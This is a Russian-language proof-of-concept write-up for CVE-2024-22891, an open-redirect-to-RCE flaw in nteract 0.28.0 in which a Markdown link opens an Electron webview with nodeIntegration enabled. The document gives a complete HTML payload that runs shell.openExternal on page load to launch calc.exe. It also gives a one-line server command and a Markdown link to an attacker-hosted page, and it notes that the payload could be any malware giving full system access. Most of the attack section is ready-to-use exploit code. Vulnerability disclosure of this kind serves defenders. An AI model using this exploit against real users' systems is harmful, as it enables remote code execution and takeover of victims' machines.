
Эксплойт open redirect к RCE в nteract 0.28.0
Proof-of-Concept для уязвимости CVE-2024-22891.
nteract 0.28.0 позволяет использовать Electron webview через ссылку Markdown, что приводит к удалённому выполнению кода.
nteract 0.28.0 позволяет использовать Electron webview через ссылку Markdown, что приводит к удалённому выполнению кода (поскольку nodeIntegration в webPreferences имеет значение true).
Объяснение эксплойта
Шаг 1) Атакующий создаёт сервер с исходным кодом для запуска calc.exe с помощью функции openExternal().
<html>
<head>
<title>jruru Link</title>
</head>
<body>
<a id="jruruLink">jruru Link</a>
<script>
// Script function definition
function openExternal() {
try {
const { shell } = require('electron');
shell.openExternal('file:C:/Windows/System32/calc.exe');
} catch(e) {
alert('JRURU - External link cannot be opened.');
console.error(e);
}
}
// Automatically execute openExternal function after the page is loaded
document.addEventListener('DOMContentLoaded', function() {
openExternal();
});
</script>
</body>
</html>
Примечание: ※ Если вы хотите быстро протестировать это, создайте сервер на ПК атакующего с помощью следующего кода.
$ python -m http.server 80
Шаг 2) Запустите приложение nteract в системе жертвы и создайте ссылку Markdown либо передайте ipynb-файл атакующего в качестве примера кода. Затем запускается calc.exe.
[Read This] (http://[attcker_adress]/shard_data.html)

При выполнении .ipynb-файла через общий доступ к файлам будьте осторожны: ссылка может быть не видна. Этот calc.exe мог бы быть любой вредоносной нагрузкой — локальной или удалённой, — которая предоставила бы атакующему полный доступ к системе жертвы.